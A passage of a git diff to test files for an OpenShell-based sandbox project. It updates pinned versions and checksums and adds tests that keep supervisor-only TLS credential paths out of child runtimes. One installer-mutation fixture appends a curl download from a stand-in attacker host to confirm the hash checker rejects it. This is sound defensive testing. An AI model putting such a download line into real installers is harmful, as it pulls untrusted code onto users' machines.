     const mcpConfigTransactionPath = path.join(libDir, "hermes-mcp-config-transaction.py");
     const mcpCredentialBoundaryPath = path.join(
       libDir,
-      "openshell-child-visible-credentials.v0.0.72.json",
+      "openshell-child-visible-credentials.v0.0.85.json",
     );
     const nestedDir = path.join(preloadsDir, "nested");
     const profileDir = path.join(tmp, "etc-profile.d");
@@ -232,7 +232,7 @@ describe("Hermes doctor and config hash boundary", () => {
       expect(fs.readFileSync(envPath, "utf-8")).not.toContain("DOCTOR_MIGRATED");
 
       const lock = runDockerShell(lockCommand, sandboxRoot);
-      expect(lock.result.status).toBe(0);
+      expect(lock.result.status, lock.result.stderr).toBe(0);
       expect(lock.result.stderr).toBe("");
       expect([mode(configPath), mode(envPath)]).toEqual(["640", "640"]);
 
diff --git a/test/hermes-gateway-wrapper.test.ts b/test/hermes-gateway-wrapper.test.ts
index 118e494ecb..ddfce3a232 100644
--- a/test/hermes-gateway-wrapper.test.ts
+++ b/test/hermes-gateway-wrapper.test.ts
@@ -68,9 +68,6 @@ describe.skipIf(!canRun)("agents/hermes/hermes-wrapper.py", () => {
       SLACK_BOT_TOKEN: "xoxb-OPENSHELL-RESOLVE-ENV-SLACK_BOT_TOKEN",
       TELEGRAM_BOT_TOKEN: "openshell:resolve:env:TELEGRAM_BOT_TOKEN",
       OPENCLAW_GATEWAY_TOKEN: "raw-gateway-token",
-      OPENSHELL_TLS_CA: "/etc/openshell/tls/client/ca.crt",
-      OPENSHELL_TLS_CERT: "/etc/openshell/tls/client/tls.crt",
-      OPENSHELL_TLS_KEY: "/etc/openshell/tls/client/tls.key",
     });
 
     expect(run.status).toBe(0);
@@ -79,13 +76,16 @@ describe.skipIf(!canRun)("agents/hermes/hermes-wrapper.py", () => {
     expect(run.realArgs).toBe("gateway run");
   });
 
-  it("refuses `gateway` with a noncanonical OpenShell TLS key path", () => {
-    const value = "/tmp/not-openshell/tls.key";
-    const run = runWrapper(["gateway", "run"], { OPENSHELL_TLS_KEY: value });
+  it.each([
+    ["OPENSHELL_TLS_CA", "/etc/openshell/tls/client/ca.crt"],
+    ["OPENSHELL_TLS_CERT", "/etc/openshell/tls/client/tls.crt"],
+    ["OPENSHELL_TLS_KEY", "/etc/openshell/tls/client/tls.key"],
+  ])("refuses `gateway` when supervisor-only %s reaches the child", (name, value) => {
+    const run = runWrapper(["gateway", "run"], { [name]: value });
 
     expect(run.status).toBe(1);
     expect(run.stderr).toContain("process environment");
-    expect(run.stderr).toContain("OPENSHELL_TLS_KEY");
+    expect(run.stderr).toContain(name);
     expect(run.stderr).not.toContain(value);
     expect(run.realInvoked).toBe(false);
   });
diff --git a/test/hermes-mcp-config-transaction.test.ts b/test/hermes-mcp-config-transaction.test.ts
index 34f76081bd..3e5b0e615e 100644
--- a/test/hermes-mcp-config-transaction.test.ts
+++ b/test/hermes-mcp-config-transaction.test.ts
@@ -158,9 +158,9 @@ if len(errors) != 3:
 
     expect(result.status, result.stderr).toBe(0);
     expect(JSON.parse(result.stdout)).toEqual([
-      "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.72",
-      "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.72",
-      "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.72",
+      "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.85",
+      "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.85",
+      "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.85",
     ]);
   });
 
@@ -185,12 +185,18 @@ print(json.dumps({"ok": True}))
     expect(JSON.parse(result.stdout)).toEqual({ ok: true });
   });
 
-  it("shares the host credential-name boundary while preserving exact cleanup", () => {
-    // One representative from each production category: OpenShell raw child
-    // value, OpenShell rewritten child value, exact process control, and
-    // process-control prefix. The exhaustive manifest-driven matrix lives at
-    // the shared TypeScript validator boundary.
-    const blockedNames = ["GCP_PROJECT_ID", "GCE_METADATA_HOST", "PATH", "NEMOCLAW_MCP_TOKEN"];
+  it("shares the host credential-name boundary while preserving exact cleanup (#6379)", () => {
+    // Representatives cover every manifest category and the revisioned placeholder namespace.
+    // The exhaustive manifest-driven matrix lives at the shared TypeScript validator boundary.
+    const blockedNames = [
+      "GCP_PROJECT_ID",
+      "GCE_METADATA_HOST",
+      "PATH",
+      "NEMOCLAW_MCP_TOKEN",
+      "v1_TOKEN",
+      "v999999_very_unlikely",
+      "v0_1",
+    ];
     const result = runPython(
       `
 import importlib.util, json, sys
@@ -230,7 +236,7 @@ print(json.dumps({
 `,
       [JSON.stringify(blockedNames)],
     );
-
+    for (const name of blockedNames) expect(() => validateMcpCredentialEnvName(name)).toThrow();
     expect(() => validateMcpCredentialEnvName("MY_SERVICE_MCP_TOKEN")).not.toThrow();
     expect(result.status, result.stderr).toBe(0);
     expect(JSON.parse(result.stdout)).toEqual({
diff --git a/test/hermes-mcp-credential-boundary-manifest.test.ts b/test/hermes-mcp-credential-boundary-manifest.test.ts
index 312ca934b0..70f29be067 100644
--- a/test/hermes-mcp-credential-boundary-manifest.test.ts
+++ b/test/hermes-mcp-credential-boundary-manifest.test.ts
@@ -14,9 +14,9 @@ const TRANSACTION = path.join(
   "hermes",
   "mcp-config-transaction.py",
 );
-const MANIFEST_NAME = "openshell-child-visible-credentials.v0.0.72.json";
+const MANIFEST_NAME = "openshell-child-visible-credentials.v0.0.85.json";
 const validManifest: Record<string, unknown> = {
-  openshellVersion: "0.0.72",
+  openshellVersion: "0.0.85",
   rawChildValueKeys: ["RAW_CHILD_VALUE"],
   rewrittenChildValueKeys: ["REWRITTEN_CHILD_VALUE"],
   runtimeControlKeys: ["RUNTIME_CONTROL"],
@@ -80,7 +80,7 @@ describe("Hermes MCP credential boundary manifest (#6256)", () => {
     expect(
       runEmbeddedTransactionImportWithManifest({
         ...validManifest,
-        openshellVersion: "0.0.73",
+        openshellVersion: "0.0.0-unreviewed",
       }),
     ).toEqual({
       loaded: false,
diff --git a/test/hermes-openshell-runtime-env-boundary.test.ts b/test/hermes-openshell-runtime-env-boundary.test.ts
index f463df2ec5..90c0fb58fc 100644
--- a/test/hermes-openshell-runtime-env-boundary.test.ts
+++ b/test/hermes-openshell-runtime-env-boundary.test.ts
@@ -45,21 +45,31 @@ function runEnvFileValidator(envFileContent: string) {
 }
 
 describe("Hermes OpenShell runtime environment boundary", () => {
-  it("accepts the driver-owned OpenShell transport environment", () => {
+  it("accepts non-identity OpenShell runtime metadata", () => {
     const result = runRuntimeEnvValidator({
       OPENSHELL_ENDPOINT: "https://gateway.openshell.internal:8080",
       OPENSHELL_LOG_LEVEL: "info",
       OPENSHELL_SANDBOX: "hermes-gpu",
       OPENSHELL_SANDBOX_ID: "sandbox-id",
-      OPENSHELL_TLS_CA: "/etc/openshell/tls/client/ca.crt",
-      OPENSHELL_TLS_CERT: "/etc/openshell/tls/client/tls.crt",
-      OPENSHELL_TLS_KEY: CANONICAL_TLS_KEY_PATH,
     });
 
     expect(result.status, result.stderr).toBe(0);
     expect(result.stderr).toBe("");
   });
 
+  it.each([
+    ["OPENSHELL_TLS_CA", "/etc/openshell/tls/client/ca.crt"],
+    ["OPENSHELL_TLS_CERT", "/etc/openshell/tls/client/tls.crt"],
+    ["OPENSHELL_TLS_KEY", CANONICAL_TLS_KEY_PATH],
+  ])("rejects supervisor-only %s from the child runtime", (name, value) => {
+    const result = runRuntimeEnvValidator({ [name]: value });
+
+    expect(result.status, result.stderr).toBe(1);
+    expect(result.stderr).toContain("supervisor-only identity variables");
+    expect(result.stderr).toContain(name);
+    expect(result.stderr).not.toContain(value);
+  });
+
   it("rejects noncanonical OpenShell TLS key values without printing them", () => {
     const pemValue = [
       "-----BEGIN PRIVATE ",
@@ -82,12 +92,16 @@ describe("Hermes OpenShell runtime environment boundary", () => {
     }
   });
 
-  it("keeps the canonical OpenShell TLS key path out of mutable Hermes .env", () => {
-    const result = runEnvFileValidator(`OPENSHELL_TLS_KEY=${CANONICAL_TLS_KEY_PATH}\n`);
+  it.each([
+    ["OPENSHELL_TLS_CA", "/etc/openshell/tls/client/ca.crt"],
+    ["OPENSHELL_TLS_CERT", "/etc/openshell/tls/client/tls.crt"],
+    ["OPENSHELL_TLS_KEY", CANONICAL_TLS_KEY_PATH],
+  ])("keeps supervisor-only %s out of mutable Hermes .env", (name, value) => {
+    const result = runEnvFileValidator(`${name}=${value}\n`);
 
     expect(result.status).toBe(1);
-    expect(result.stderr).toContain("OPENSHELL_TLS_KEY (line 1)");
-    expect(result.stderr).not.toContain(CANONICAL_TLS_KEY_PATH);
+    expect(result.stderr).toContain(`${name} (line 1)`);
+    expect(result.stderr).not.toContain(value);
   });
 
   it("continues to reject OpenShell supervisor identity credentials", () => {
diff --git a/test/install-openshell-version-check.test.ts b/test/install-openshell-version-check.test.ts
index 69eab5cdbc..c95c5f245f 100644
--- a/test/install-openshell-version-check.test.ts
+++ b/test/install-openshell-version-check.test.ts
@@ -7,7 +7,7 @@ import os from "node:os";
 import path from "node:path";
 import { describe, expect, it } from "vitest";
 
-import credentialBoundaryManifest from "../src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.72.json";
+import credentialBoundaryManifest from "../src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json";
 import { buildRebuildHermesChildEnv } from "./e2e/live/rebuild-hermes-env.ts";
 
 const SCRIPT = path.join(import.meta.dirname, "..", "scripts", "install-openshell.sh");
@@ -20,15 +20,15 @@ const CANDIDATE_RUNTIME = {
 };
 const CANDIDATE_RUNTIME_ENABLED = Object.values(CANDIDATE_RUNTIME).every(Boolean);
 const PINNED_OPEN_SHELL_SHA256 = {
-  cliDarwinArm64: "117b5354cc42d80bc4d5e070ea5ac4e341208ff6d3c29b516d8a9c80e2310f8d",
-  cliLinuxArm64: "a5ff01a3240d73c72ec1700eda6cc6c752a86cf50c5dd1b5bdc459f544d03045",
-  cliLinuxX64: "37836c3b50383e03249c5e16512c1806e591fba8451408a84fb2f628ddb318c4",
-  gatewayDarwinArm64: "8c07362107393eb5f4ae4b9ee9f4257fd53862c51ad8dd96f2fe31bb6d8d7ffb",
-  gatewayLinuxArm64: "a97dcb3acb04fb2d1170c1a2170228990c2337e25bb8c18817e5a6e952204108",
-  gatewayLinuxX64: "03225fb9388b682af1a5f1614b26b75f828da6031e3ffc1fd920b6fbe5f70877",
-  sandboxLinuxArm64: "2cf62cbd651e55d0f8750804e2b4025e0d6c8eea4564c87cda47a2c922941db0",
-  sandboxLinuxX64: "811f914b6a6a3a3f4533449ddebebb6422333861a27a5fa848db6cbfdffdd230",
-  sandboxBinaryLinuxX64: "f9f991a24d10772ad5d24ae27a8ea6baad8cac671695bd90fcd0355e0e0ad198",
+  cliDarwinArm64: "522c963f9515c7325b978e89022de76227ac245eefe1371292af1424434e2067",
+  cliLinuxArm64: "3cf353e7994d5835a233fe0641f9a860779190b054d0f90a04c897be782734b8",
+  cliLinuxX64: "078fa086f506832c3d47d992e6109f26074bdd55916ce268e47c3971423459eb",
+  gatewayDarwinArm64: "5de3e08ad1bdb0cdd01373999f537edca3d8aca22ae1c29bc9926969fe401e45",
+  gatewayLinuxArm64: "09f2823f6e9c5f70f4482b200206eac455d789618da4ebe4acff042d794e7162",
+  gatewayLinuxX64: "718cc9f942f88565cacb13c39717b128d6acc8d336212d42d26243f36ab19ece",
+  sandboxLinuxArm64: "2c52b2971aecf125e41ed160d8d2f2addf04031906ca88f120ae3d436dd6b8f7",
+  sandboxLinuxX64: "94306f057d862cd5c34a0daa7692491733bc5ca528a7b92f9f62f717fb70a9be",
+  sandboxBinaryLinuxX64: "863ef21ab7ef623f5e7a8728c4e5532b46bfbae3ace3b800665a1c6353a1f7d2",
 };
 const ZERO_SHA256 = "0000000000000000000000000000000000000000000000000000000000000000";
 const REQUIRED_OPENSHELL_VERSION = credentialBoundaryManifest.openshellVersion;
@@ -959,7 +959,7 @@ exit 0`,
 
       expect(result.status, `${result.stdout}\n${result.stderr}`).toBe(1);
       expect(result.stderr).toContain(
-        "OpenShell release checksum for openshell-x86_64-unknown-linux-musl.tar.gz does not match NemoClaw-pinned v0.0.72 digest",
+        "OpenShell release checksum for openshell-x86_64-unknown-linux-musl.tar.gz does not match NemoClaw-pinned v0.0.85 digest",
       );
       expect(fs.existsSync(tarLog) ? fs.readFileSync(tarLog, "utf-8") : "").toBe("");
       expect(fs.existsSync(installLog) ? fs.readFileSync(installLog, "utf-8") : "").toBe("");
@@ -994,7 +994,7 @@ exit 0`,
   });
 
   it("reinstalls the pinned release when openshell is above MAX_VERSION", () => {
-    const result = runWithInstalledVersion("0.0.73");
+    const result = runWithInstalledVersion("0.0.86");
     expect(result.status).not.toBe(0);
     expect(result.stdout).toContain(
       `above the maximum (${REQUIRED_OPENSHELL_VERSION}) supported by this NemoClaw release`,
@@ -1020,7 +1020,7 @@ exit 0`,
   });
 
   it("accepts an installed OpenShell dev-channel Docker-driver build", () => {
-    const result = runWithInstalledVersion("0.0.72.dev84+g6b2180425", {
+    const result = runWithInstalledVersion("0.0.85.dev84+g6b2180425", {
       NEMOCLAW_OPENSHELL_CHANNEL: "dev",
       NEMOCLAW_ACCEPT_DEV_UNVERIFIED_INSTALL: "1",
     });
@@ -1030,7 +1030,7 @@ exit 0`,
   });
 
   it("fails closed for dev-channel installs without explicit risk acceptance", () => {
-    const result = runWithInstalledVersion("0.0.72.dev84+g6b2180425", {
+    const result = runWithInstalledVersion("0.0.85.dev84+g6b2180425", {
       NEMOCLAW_OPENSHELL_CHANNEL: "dev",
     });
     expect(result.status).toBe(1);
@@ -1041,12 +1041,12 @@ exit 0`,
 
   it("accepts coherent dev components with different git-prefix lengths", () => {
     const result = runWithInstalledVersion(
-      "0.0.72-dev.8+g7bce1223d",
+      "0.0.85-dev.8+g7bce1223d",
       {
         NEMOCLAW_ACCEPT_DEV_UNVERIFIED_INSTALL: "1",
         NEMOCLAW_OPENSHELL_CHANNEL: "dev",
       },
-      { driverVersion: "0.0.72-dev.8+g7bce1223" },
+      { driverVersion: "0.0.85-dev.8+g7bce1223" },
     );
     expect(result.status, `${result.stdout}\n${result.stderr}`).toBe(0);
     expect(result.stdout).toMatch(/dev channel/);
@@ -1081,7 +1081,7 @@ exit 0`,
 
   it("reuses a macOS dev build with its required standalone gateway", () => {
     const result = runWithInstalledVersion(
-      "0.0.72-dev.8+g7bce1223d",
+      "0.0.85-dev.8+g7bce1223d",
       {
         NEMOCLAW_ACCEPT_DEV_UNVERIFIED_INSTALL: "1",
         NEMOCLAW_OPENSHELL_CHANNEL: "dev",
@@ -1093,7 +1093,7 @@ exit 0`,
   });
 
   it("refreshes an installed dev build when current main is required", () => {
-    const result = runWithInstalledVersion("0.0.72-dev.8+g7bce1223d", {
+    const result = runWithInstalledVersion("0.0.85-dev.8+g7bce1223d", {
       NEMOCLAW_ACCEPT_DEV_UNVERIFIED_INSTALL: "1",
       NEMOCLAW_OPENSHELL_CHANNEL: "dev",
       NEMOCLAW_OPENSHELL_FORCE_INSTALL: "1",
diff --git a/test/installer-hash-check.test.ts b/test/installer-hash-check.test.ts
index dc9394088d..194cf5d53c 100644
--- a/test/installer-hash-check.test.ts
+++ b/test/installer-hash-check.test.ts
@@ -191,12 +191,12 @@ const BREV_MUTATIONS: Partial<Record<FixtureMode, (source: string) => string>> =
   "brev-stable-version-drift": (source) =>
     source.replace(
       'stable | auto) OPENSHELL_VERSION="v0.0.72" ;;',
-      'stable | auto) OPENSHELL_VERSION="v0.0.82" ;;',
+      'stable | auto) OPENSHELL_VERSION="v0.0.85" ;;',
     ),
   "runtime-consumers-newer-than-tables": (source) =>
     source.replace(
       'stable | auto) OPENSHELL_VERSION="v0.0.72" ;;',
-      'stable | auto) OPENSHELL_VERSION="v0.0.82" ;;',
+      'stable | auto) OPENSHELL_VERSION="v0.0.85" ;;',
     ),
 };
 const mutateSandboxBuildFunction = (
@@ -255,7 +255,7 @@ const INSTALLER_MUTATIONS: Partial<Record<FixtureMode, (source: string) => strin
       'attacker_pinned_sha256 "$RELEASE_TAG" "$asset_name"',
     ),
   "installer-dev-min-version-drift": (source) =>
-    source.replace('DEV_MIN_VERSION="0.0.72"', 'DEV_MIN_VERSION="0.0.82"'),
+    source.replace('DEV_MIN_VERSION="0.0.72"', 'DEV_MIN_VERSION="0.0.85"'),
   "installer-extra-download": (source) =>
     `${source}\ncurl -fsSL https://attacker.invalid/openshell\n`,
   "installer-indirect-selector-override": (source) =>
@@ -265,9 +265,9 @@ const INSTALLER_MUTATIONS: Partial<Record<FixtureMode, (source: string) => strin
   "installer-literalized-pin-input": (source) =>
     source.replace('local release_tag="$1" asset="$2"', "local release_tag='$1' asset='$2'"),
   "installer-min-version-drift": (source) =>
-    source.replace('MIN_VERSION="0.0.72"', 'MIN_VERSION="0.0.82"'),
+    source.replace('MIN_VERSION="0.0.72"', 'MIN_VERSION="0.0.85"'),
   "installer-max-version-drift": (source) =>
-    source.replace('MAX_VERSION="0.0.72"', 'MAX_VERSION="0.0.82"'),
+    source.replace('MAX_VERSION="0.0.72"', 'MAX_VERSION="0.0.85"'),
   "installer-pin-selector-drift": (source) =>
     source.replace('PIN_VERSION="$MAX_VERSION"', 'PIN_VERSION="0.0.72"'),
   "installer-sandbox-build-control-flow": (source) =>
@@ -296,14 +296,14 @@ const INSTALLER_MUTATIONS: Partial<Record<FixtureMode, (source: string) => strin
   "installer-sandbox-build-pin-change": (source) =>
     mutateSandboxBuildFunction(source, (functionSource) =>
       functionSource.replace(
-        `      printf '%s\\n' "0.0.72"
+        `      printf '%s\\n' "0.0.85"
       ;;
     *)`,
-        `      printf '%s\\n' "0.0.72"
+        `      printf '%s\\n' "0.0.85"
       ;;
-    145246049bd73c60452ac3c2b4b1801663196c8e2f80575af820289c78c1cf09 | \\
-      76bc19b70d9f1e1e9871307045796cd39cc7b8fc4c08ffc90593cc934f36d500)
-      printf '%s\\n' "0.0.82"
+    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | \\
+      bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb)
+      printf '%s\\n' "0.0.83"
       ;;
     *)`,
       ),
@@ -329,7 +329,7 @@ const INSTALLER_MUTATIONS: Partial<Record<FixtureMode, (source: string) => strin
   "partial-asset-missing": (source) =>
     source.replace(ASSETS.at(-1) ?? "missing", UNPUBLISHED_ASSET),
   "runtime-consumers-newer-than-tables": (source) =>
-    source.replace('MAX_VERSION="0.0.72"', 'MAX_VERSION="0.0.82"'),
+    source.replace('MAX_VERSION="0.0.72"', 'MAX_VERSION="0.0.85"'),
 };
 type InputMutationContext = {
   blueprint: string;
@@ -340,7 +340,7 @@ type InputMutationContext = {
 const INPUT_MUTATIONS: Partial<Record<FixtureMode, (context: InputMutationContext) => void>> = {
   "runtime-consumers-newer-than-tables": ({ blueprint }) => {
     const source = fs.readFileSync(blueprint, "utf8");
-    fs.writeFileSync(blueprint, source.replace('"0.0.72"', '"0.0.82"'));
+    fs.writeFileSync(blueprint, source.replace('"0.0.72"', '"0.0.85"'));
   },
   "non-regular-brev-input": ({ brevInstaller }) => {
     fs.rmSync(brevInstaller);
@@ -781,7 +781,7 @@ describe("installer hash verification", () => {
     expect(result.status).toBe(1);
     expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables");
     expect(result.stdout).toContain(
-      "installer pin-table release 0.0.72 must match blueprint max_openshell_version 0.0.82",
+      "installer pin-table release 0.0.72 must match blueprint max_openshell_version 0.0.85",
     );
     expect(result.stdout).not.toContain("Checking OpenShell v0.0.72 release assets");
     expect(result.stdout).not.toContain("All installer hashes are current");
@@ -790,19 +790,19 @@ describe("installer hash verification", () => {
   it.each([
     [
       "installer-min-version-drift",
-      "installer pin-table release 0.0.72 must match installer MIN_VERSION 0.0.82",
+      "installer pin-table release 0.0.72 must match installer MIN_VERSION 0.0.85",
     ],
     [
       "installer-max-version-drift",
-      "installer pin-table release 0.0.72 must match installer MAX_VERSION 0.0.82",
+      "installer pin-table release 0.0.72 must match installer MAX_VERSION 0.0.85",
     ],
     [
       "installer-dev-min-version-drift",
-      "installer pin-table release 0.0.72 must match installer DEV_MIN_VERSION 0.0.82",
+      "installer pin-table release 0.0.72 must match installer DEV_MIN_VERSION 0.0.85",
     ],
     [
       "brev-stable-version-drift",
-      "installer pin-table release 0.0.72 must match Brev stable OpenShell default 0.0.82",
+      "installer pin-table release 0.0.72 must match Brev stable OpenShell default 0.0.85",
     ],
     ["installer-pin-selector-drift", "installer operational template is not base-trusted"],
   ] as const)("rejects %s", (mode, diagnostic) => {
diff --git a/test/internal-commands-docs.test.ts b/test/internal-commands-docs.test.ts
index d0a6e85ced..3900be5eec 100644
--- a/test/internal-commands-docs.test.ts
+++ b/test/internal-commands-docs.test.ts
@@ -25,8 +25,8 @@ import { readFileSync } from "node:fs";
 import path from "node:path";
 import { describe, expect, it } from "vitest";
 
-import { getRegisteredOclifCommandsMetadata } from "../src/lib/cli/oclif-metadata";
 import { renderAgentVariantPage } from "../scripts/sync-agent-variant-docs.mts";
+import { getRegisteredOclifCommandsMetadata } from "../src/lib/cli/oclif-metadata";
 
 const repoRoot = path.resolve(import.meta.dirname, "..");
 
@@ -118,17 +118,17 @@ describe("exec command documentation", () => {
 
   it.each(
     renderedCommandReferences,
-  )("documents multiline argument rejection in every exec section for $name", ({
+  )("documents multiline argv support and retained field boundaries for $name", ({
     text,
     binary,
   }) => {
     const sections = execSections(text, binary);
     expect(sections.length, `${binary} exec sections`).toBeGreaterThanOrEqual(2);
     for (const section of sections) {
-      expect(section).toContain("newline or carriage return");
-      expect(section).toContain("cmd1; cmd2");
-      expect(section).toContain(`${binary} <name> exec --stdin -- bash`);
-      expect(section).toContain(`${binary} <name> exec -- bash <script-path>`);
+      expect(section).toContain("preserves line endings and quote characters");
+      expect(section).toContain("NUL bytes are still rejected");
+      expect(section).toContain("`--workdir` remains single-line");
+      expect(section).toContain(`${binary} <name> exec -- bash -lc "$script"`);
     }
   });
 });
diff --git a/test/langchain-deepagents-code-direct-module-patch.test.ts b/test/langchain-deepagents-code-direct-module-patch.test.ts
index a00728b805..ee14a1b625 100644
--- a/test/langchain-deepagents-code-direct-module-patch.test.ts
+++ b/test/langchain-deepagents-code-direct-module-patch.test.ts
@@ -355,6 +355,24 @@ check("disabled", False)
     }
   });
 
+  it.each([
+    ["OPENSHELL_TLS_CA", "/etc/openshell/tls/client/ca.crt"],
+    ["OPENSHELL_TLS_CERT", "/etc/openshell/tls/client/tls.crt"],
+    ["OPENSHELL_TLS_KEY", "/etc/openshell/tls/client/tls.key"],
+  ])("rejects supervisor-only %s before settings bootstrap", (name, value) => {
+    const tempDir = createPackageFixture();
+    patchFixture(tempDir);
+    const result = spawnSync("python3", ["-m", "deepagents_code"], {
+      env: { PATH: process.env.PATH, PYTHONPATH: tempDir, [name]: value },
+      encoding: "utf8",
+    });
+
+    expect(result.status, `${name} was allowed`).not.toBe(0);
+    expect(result.stderr).toContain(`runtime environment variable ${name}`);
+    expect(result.stderr).toContain("reserved for the OpenShell supervisor");
+    expect(result.stderr).not.toContain(value);
+  });
+
   it("allows the managed OTLP collector URL in the direct-module runtime (#6466)", () => {
     const tempDir = createPackageFixture();
     patchFixture(tempDir);
@@ -451,7 +469,6 @@ check("disabled", False)
       ["GITHUB_MCP_TOKEN", "prefix-openshell:resolve:env:GITHUB_MCP_TOKEN"],
       ["GITHUB_MCP_TOKEN", "openshell:resolve:env:OTHER_TOKEN"],
       ["GITHUB_MCP_TOKEN", `openshell:resolve:env:v${"1".repeat(21)}_GITHUB_MCP_TOKEN`],
-      ["OPENSHELL_TLS_KEY", "openshell:resolve:env:OPENSHELL_TLS_KEY"],
     ]) {
       const result = run(name, value);
       expect(result.status, `${name}=${value} was allowed`).not.toBe(0);
diff --git a/test/langchain-deepagents-code-image-credentials.test.ts b/test/langchain-deepagents-code-image-credentials.test.ts
index 5fd8abbab6..d8dbfe4bdb 100644
--- a/test/langchain-deepagents-code-image-credentials.test.ts
+++ b/test/langchain-deepagents-code-image-credentials.test.ts
@@ -216,14 +216,18 @@ describe("LangChain Deep Agents Code image credential boundary", () => {
     }
   });
 
-  it("accepts the mounted OpenShell TLS key path only from runtime provenance", () => {
-    const name = "OPENSHELL_TLS_KEY";
-    const value = "/etc/openshell/tls/client/tls.key";
+  it.each([
+    ["OPENSHELL_TLS_CA", "/etc/openshell/tls/client/ca.crt"],
+    ["OPENSHELL_TLS_CERT", "/etc/openshell/tls/client/tls.crt"],
+    ["OPENSHELL_TLS_KEY", "/etc/openshell/tls/client/tls.key"],
+  ])("rejects supervisor-only %s from runtime and dotenv provenance", (name, value) => {
     const runtimeDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-dcode-tls-runtime-"));
     const runtimeFixture = makeWrapperFixture(runtimeDir);
     const runtimeResult = runWrapper(runtimeFixture.wrapperPath, ["-n", "hi"], { [name]: value });
-    expect(runtimeResult.status, runtimeResult.stderr).toBe(0);
-    expect(fs.existsSync(runtimeFixture.ranMarker)).toBe(true);
+    expect(runtimeResult.status, runtimeResult.stderr).not.toBe(0);
+    expect(runtimeResult.stderr).toContain(name);
+    expect(runtimeResult.stderr).not.toContain(value);
+    expect(fs.existsSync(runtimeFixture.ranMarker)).toBe(false);
 
     const dotenvDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-dcode-tls-dotenv-"));
     const dotenvFixture = makeWrapperFixture(dotenvDir);
diff --git a/test/langchain-deepagents-code-image.test.ts b/test/langchain-deepagents-code-image.test.ts
index f937c6c24e..0302b6496d 100644
--- a/test/langchain-deepagents-code-image.test.ts
+++ b/test/langchain-deepagents-code-image.test.ts
@@ -619,12 +619,9 @@ describe("LangChain Deep Agents Code image contracts", () => {
       "lacked denial evidence",
       "python_probe_source",
       'DCODE_MANAGED_EXEC="/usr/local/lib/nemoclaw/dcode-managed-exec"',
-      'local -a command_prefix=("${@:3}")',
-      "printf -v remote_cmd '%q '",
-      "base64 | tr -d",
-      "base64 -d",
-      'remote_cmd+="-c',
-      "${url@Q}",
+      "sandbox_exec_argv",
+      'source="$(python_probe_source)"',
+      '"$python_bin" -c "$source" "$url"',
       'expect_reached "arbitrary Python" "GitHub" "https://api.github.com/"',
       'expect_reached "arbitrary Python" "PyPI" "https://pypi.org/"',
       '"direct managed-exec Python"',
@@ -642,6 +639,7 @@ describe("LangChain Deep Agents Code image contracts", () => {
     ]) {
       expect(pythonEgressCheck).toContain(expected);
     }
+    expect(pythonEgressCheck).not.toContain("base64 -d");
     for (const expected of [
       "Case: Deep Agents Code dcode secret boundary",
       "env OPENAI_API_KEY=",
@@ -650,9 +648,9 @@ describe("LangChain Deep Agents Code image contracts", () => {
       "dcode_secret_probe_env_file",
       "remote_cmd=",
       "LOG_MARKER_FOUND:%s",
-      "OpenShell rejects newline-bearing exec",
+      "Keep secret injection, output capture, cleanup, and status reporting atomic",
       "NEMOCLAW_E2E_SECRET_BOUNDARY_SELF_TEST",
-      "NO_NEWLINE_IN_COMMAND",
+      "ATOMIC_COMMAND",
       "DCODE_EXIT:%s\\\\n",
       "DCODE_EXIT:0",
       "refusing to start",
@@ -734,8 +732,8 @@ describe("LangChain Deep Agents Code image contracts", () => {
       "policy-add tavily --yes",
       /urllib\.request\.Request[\s\S]*method='POST'/,
       "python_probe_source",
-      "base64 | tr -d",
-      "${python_bin@Q} -c",
+      "sandbox_exec_argv",
+      '"$python_bin" -c "$source" "$url"',
       "NEMOCLAW_E2E_TAVILY_SELF_TEST",
       "/opt/venv/",
       "managed Deep Agents Code python can reach Tavily",
@@ -746,6 +744,7 @@ describe("LangChain Deep Agents Code image contracts", () => {
     ]) {
       expect(tavilyOptInCheck).toMatch(expected);
     }
+    expect(tavilyOptInCheck).not.toContain("base64 -d");
     expect(cloudExperimentalChecksForOnboarding("cloud-langchain-deepagents-code")).toEqual([
       "test/e2e/e2e-cloud-experimental/checks/03-deepagents-code-nemotron-ultra-profile.sh",
       "test/e2e/e2e-cloud-experimental/checks/04-deepagents-code-fresh-reonboard.sh",
diff --git a/test/langchain-deepagents-code-managed-mcp-hardening.test.ts b/test/langchain-deepagents-code-managed-mcp-hardening.test.ts
index b77653b943..59050878fd 100644
--- a/test/langchain-deepagents-code-managed-mcp-hardening.test.ts
+++ b/test/langchain-deepagents-code-managed-mcp-hardening.test.ts
@@ -30,6 +30,53 @@ function runManagedHelper(source: string) {
 }
 
 describe("Deep Agents managed MCP runtime hardening", () => {
+  it.runIf(process.platform === "linux")(
+    "rejects OpenShell supervisor TLS identity from the managed child runtime",
+    () => {
+      const result = runManagedHelper(String.raw`
+import importlib.util
+import fcntl
+import os
+import sys
+
+for name, value in {
+    "F_SEAL_WRITE": 1,
+    "F_SEAL_GROW": 2,
+    "F_SEAL_SHRINK": 4,
+    "F_SEAL_SEAL": 8,
+}.items():
+    setattr(fcntl, name, getattr(fcntl, name, value))
+spec = importlib.util.spec_from_file_location("_nemoclaw_managed", sys.argv[1])
+managed = importlib.util.module_from_spec(spec)
+spec.loader.exec_module(managed)
+
+original = os.environ.copy()
+try:
+    for name, value in {
+        "OPENSHELL_TLS_CA": "/etc/openshell/tls/client/ca.crt",
+        "OPENSHELL_TLS_CERT": "/etc/openshell/tls/client/tls.crt",
+        "OPENSHELL_TLS_KEY": "/etc/openshell/tls/client/tls.key",
+    }.items():
+        os.environ.clear()
+        os.environ[name] = value
+        try:
+            managed._assert_safe_environment()
+        except RuntimeError as exc:
+            assert name in str(exc)
+            assert value not in str(exc)
+        else:
+            raise AssertionError(f"accepted supervisor-only identity variable {name}")
+finally:
+    os.environ.clear()
